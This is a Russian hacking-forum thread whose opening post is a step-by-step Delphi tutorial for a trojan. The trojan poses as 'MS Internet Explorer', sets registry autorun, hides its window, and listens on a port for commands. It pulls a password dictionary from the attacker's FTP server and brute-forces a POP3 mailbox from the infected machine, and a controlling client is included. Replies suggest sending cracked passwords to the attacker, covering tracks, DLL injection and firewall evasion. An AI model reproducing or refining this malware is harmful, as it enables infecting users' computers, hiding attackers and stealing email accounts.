| dolphin | Дата: Пятница, 26.12.2008, 15:55 | Сообщение # 1 |  
 
 
 
 
 
Администратор 
Сообщений: 906 
Статус: Offline 
 
 | Автор:Kuzya   Здорова! Сегодня я расскажу как написать одну “полезную” J программку. Я её решил назвать Brute-force backdoor. Может идея и не новая, но я решил написать данную статью из-за того, что не видел похожих, на неё, статей. Кстати всё только для ознакомления ну и бла-бла-бла в том же роде.   Начнём с главной цели этой программы: подбор пароля к указанному, программе, ящику. Тебе, наверное, уже приходилось пользоваться брутом для подбора пароля к e-mail’ам или ftp-серверам. Принцип программы основан, в первую очередь, на безопасности атакующего и освобождения времени, которое может потребоваться для подбора пароля к ящику. Наша прога будет действовать следующим образом: инфицировав машину пользователя, она будет ждать от хозяина команды на закачку словаря с паролями и команды для начала подбора пароля. Таким образом, брут производится с машины заражённого юзера – это скроет тебя, уменьшит расход трафика и освободит тебя от лишней мороки. ВНИМАНИЕ!!! Здесь я не буду описывать полную рабочую версию программы, здесь я опишу основной скелет, я просто хочу чтоб юные кул-хацкеры хоть немного поработали мозгами и отшлифовали прогу до блеска сами.   Итак, начнём. Нам понадобится Delphi (я писал это на Delphi 6) и любой фтп-сервер.   Начни новый проект, и размести на форме следующие компоненты – NMFTP(находится на закладке FastNet) и ServerSocket(закладка internet).Так-же размести вторую форму и назови её BruteForm. Затем зайди в свойства проекта (Project => Options) и в закладке Forms найди 2 списка - Auto-create forms и Available forms, в первом списке будут твои две формы(Form1 и BruteForm), тебе надо перенести обе формы в список Available forms.   Имена компонентов не меняй, оставь как есть – NMFTP1 и ServerSocket1. Свойство port, у ServerSocket1, поставь какое нужно тебе – это порт на котором будет висеть бэк-дор.   Затем у компонента NMFTP1 измени все свойства (port, address(если надо то и проксик вбей)) на свойства которые нужны для подключения к твоему ftp-серверу(очень желательно чтоб он находился на каком ни будь бесплатном хостере).   Сначала напишем само ядро бэк-дора:   Добавь в используемые модули (В редакторе исходного кода, после надписи uses идут используемые модули) модуль Registry (Он понадобится нам для записи бэк-дора в реестре для автозагрузки). Далее создай обработчик OnCreate главной формы. И между begin и end впиши следующие строки:   Code Application.Title:='MS Internet Explorer'; 
   // Назначается заголовок любых окон появившихся от твоего бэк-дора 
   // Вдруг возникнет какая ни будь ошибка и Юзер увидит заголовок Project1 
   // или что-то типа того. 
   // Тогда он что ни будь заподозрит, а вот заголовок MS Internet Explorer 
   // Ничем не насторожит J 
   // Затем прописываемся в реестре: 
   RegIni:=TRegIniFile.Create('Software'); 
   RegIni.RootKey:=HKEY_LOCAL_MACHINE; 
   RegIni.OpenKey('Software', true); 
   RegIni.OpenKey('Microsoft', true); 
   RegIni.OpenKey('Windows', true); 
   RegIni.OpenKey('CurrentVersion', true); 
   // Пишемся в папке ‘Run services’, имя ключа MSIE, далее следует расположение //файла 
   RegIni.WriteString('RunServices', 'MSIE', Application.ExeName); 
   RegIni.Free; 
   // Делаем сокет активным 
   ServerSocket1.Active:=true;    Если попробуешь собрать сейчас, то у тебя ничего не получится, чтоб всё работало надо объявить переменную RegIni типа TRegIniFile, для этого напиши над begin следующие строчки:    Code var 
   RegIni:TRegIniFile;    Затем у ServerSocket1 создай обработчик события OnClientRead и над begin и end напиши:    Code var 
   command:String; // обьявляем переменную command строкового типа 
   Затем между begin и end напиши следующий код: 
   // Указываем что переменная command это текст полученный из сокетов. 
   command:=Socket.ReceiveText; 
   // Указываем что делать если пришёл текст upload 
   if command='upload' then 
   begin 
   // Компонент NMFTP1 пытается соединится с сервером 
   // который ему указал ты 
   // кстати! Вот тут и может вылезти ошибка (если ты не правильно указал адрес 
   // или произошёл сбой при подключнии) но ведь Юзер увидит что это ошибка 
   // вызвана MS Internet Explorer J и мало чего заподозрит J 
   NMFTP1.Connect; 
   // Если компонент NMFTP1 подключился то 
   if NMFTP1.Connected then 
   begin 
   // закачиваем файл dictionary.txt(файл с паролями) из корня фтп-сервера 
   // и сохраняем его под тем же именем под каким и скачали 
   // Первый параметр – это имя скачиваемого файла, а второй параметр указывает 
   // Под каким именем сохранить скаченный файл 
   // Сохранение происходит в той же папке где лежит трой 
   NMFTP1.Download('dictionary.txt','dictionary.txt'); 
   end; 
   end; 
   // Если пришло слово brute то активировать форму BruteForm 
   if command='brute' then 
   begin 
   // собственно, активируется форма BruteForm 
   Application.CreateForm(TBruteForm, BruteForm); 
   end;        Можно было бы вписать код брута в этот - же unit но мне это не понравилось из-за большого кол-ва кода, у каждой формы есть свой unit и ИМХО так легче работать т.к. нет возьни с гигантскими кусками кода. Затем переключись на форму BruteForm, на ней размести компонент idPOP3 (закладка indy clients), назови его idPOP и создай обработчик события OnCreate для BruteForm. В обработчике события, перед begin напиши следующий код:   Code Var 
   // Создаём переменную PassStrings типа TStrings; 
   PassStrings:TStrings; 
   // Создаём переменную j числового типа. 
   j:Integer; 
   Между Begin и End; пишем: 
   PassStrings:=TStringList.Create; 
   Try 
   // Пытаемся загрузить файл dictionary.txt 
   PassStrings.LoadFromFile('dictionary.txt'); 
   Except 
   // если файл загрузить не удалось то останавливаем работу программы 
   exit; 
   // ВНИМАНИЕ!!! Оператор exit не закрывает прогу, а просто останавливает её //работу!!! 
   end; 
   // Начинаем цикл от 0 до кол-ва строк в словаре - 1 
   for j:=0 to PassStrings.Count-1 do 
   begin 
   //Присваиваем пароль из строки с номером j 
   IdPOP.Password := PassStrings.Strings[j]; 
   Try 
   //Пытаемся коннектится 
   IdPOP.Connect 
   Except 
   // Если соединится не удалось (не правильный пароль) то ничего не делаем, 
   // Цикл повторяется пытаясь зайти под следующим, в файле, паролем 
   end; 
   // Если коннект удался (пароль подобран) 
   if IdPOP.Connected then 
   begin 
   /////////////////////////////////////////////////////////////////// 
   // Тут пишите свой код с помощью которого вам с 
   ообщится что пароль подобран/// 
   //////////////////////////////////////////////////////////////////// 
   // Отключаемся 
   IdPOP.Disconnect; 
   // Останавливаем программу 
   exit; 
   end; 
   end;        Для того чтобы окно программы было невидимо зайди в Project>View Source   Откроется окно редактирования кода, сам код должен выглядеть следующим образом:   Code    var 
   WhEvent:THandle; 
   begin 
   Application.Initialize; 
   ShowWindow(Application.Handle, SW_HIDE); 
   Form1:=TForm1.Create(nil); 
   Application.Run; 
   WhEvent:=CreateEvent(nil, true, false, 'et'); 
   while (true) do 
   begin 
   WaitForSingleObject(WhEvent,1000); 
   Application.ProcessMessages; 
   end; 
   end.        Чтобы скомпилить прогу не запуская её просто нажми ctrl+f9 и экзэшник соберётся не запускаясь.   Теперь давай напишем клиент к нашей пакости J.   Создай новый проект, размести на нём компоненты ClientSocket1, Edit1, Button1 и Button2.   В свойстве port – напиши порт твоего бэкдора.   Caption у кнопки1 замени на upload, а у второй на brute. Теперь нам надо всего-лишь создать обработчики событий OnClick – для первой кнопки(upload) и для второй (drute)   В OnClick первой кнопки напиши:   Code // Указываем IP жертвы(IP вводим в поле Edit1) 
   ClientSocket1.host:=Edit1.Text; 
   ClientSocket1.Active:=true; 
   // Отправляем команду upload 
   ClientSocket1.SendReceiveText(‘upload’);        Тоже самое пишем в OnClick второй кнопки, только команда brute , а не upload.   Вот вообщем и всё что я хотел тебе сегодня рассказать, программа имеет множество недоработок и неудобств (например то что подбирать можно только к прописанному, в проге, ящику) но если поломать голову то можно всё подправить и переделать и под ftp брут и под imap и т.д. Удачи!   Если что не понятно все вопросы задавать на нашем форуме http://inattack.ru/forum/viewforum.php?f=32
  Система: Windows 10 x64, Kali Linux   Среды программирования: Delphi 7, Delphi 10.x 
   Я не профессионал, я всего лишь любитель   Я не вредитель, я всего лишь теоретик
 |  
|   | 
 |    | 
| BioHEX | Дата: Воскресенье, 08.08.2010, 20:24 | Сообщение # 2 |  
 
 
 
Был не раз 
Зарегистрирован: 27.07.2010
 
 
Группа: Пользователи 
Сообщений: 17 
Статус: Offline 
 
 | Я бы немного другой алгоритм выбрал:   1. Определить состояния подключения интернета.   2. Если подключен автоматом скачать словарик, начать перебор с возможностью продолжения (на случай если юзер оборвет коннект). Это избавит нас от проблемы с определением IP-адреса жертвы (нет ни чего хуже динамического IP-адреса   ), т.к. нам не предется подключатся к жертве.   3. Как только пароль будет сбручен отправить его себе на мыло или на гейт, что предпочтительней.   4. Убрать за собой.   Для обхода фаервола можно оформить код в виде DLL и провести DLL-inject. 
 |  
|   | 
 |    | 
| skript | Дата: Суббота, 29.01.2011, 17:40 | Сообщение # 3 |  
 
 
 
 
 
Группа: Удаленные 
 
  
 | BioHEX, а по подробней можешь расказать про обход фаера?
 |  
|   | 
 |    | 
| BROVAR | Дата: Вторник, 03.05.2011, 04:18 | Сообщение # 4 |  
 
 
 
Был не раз 
Зарегистрирован: 03.05.2011
 
 
Группа: Пользователи 
Сообщений: 9 
Статус: Offline 
 
 | Обход фаера созданный по принципу подключения клиента к серверу никак не реализовать по сути. Для сего лучшие способа:   1.Сервер ищет клиента.   2.Клиент-сервер работает через вспомагательный сервер.   В таком случае файервол не реагирует по причине того, что по сути операции исходят, а не входят. В ближайшее время напишу исходничек обоих видов - скину на форум.
  Абара!
 |  
|   | 
 |    |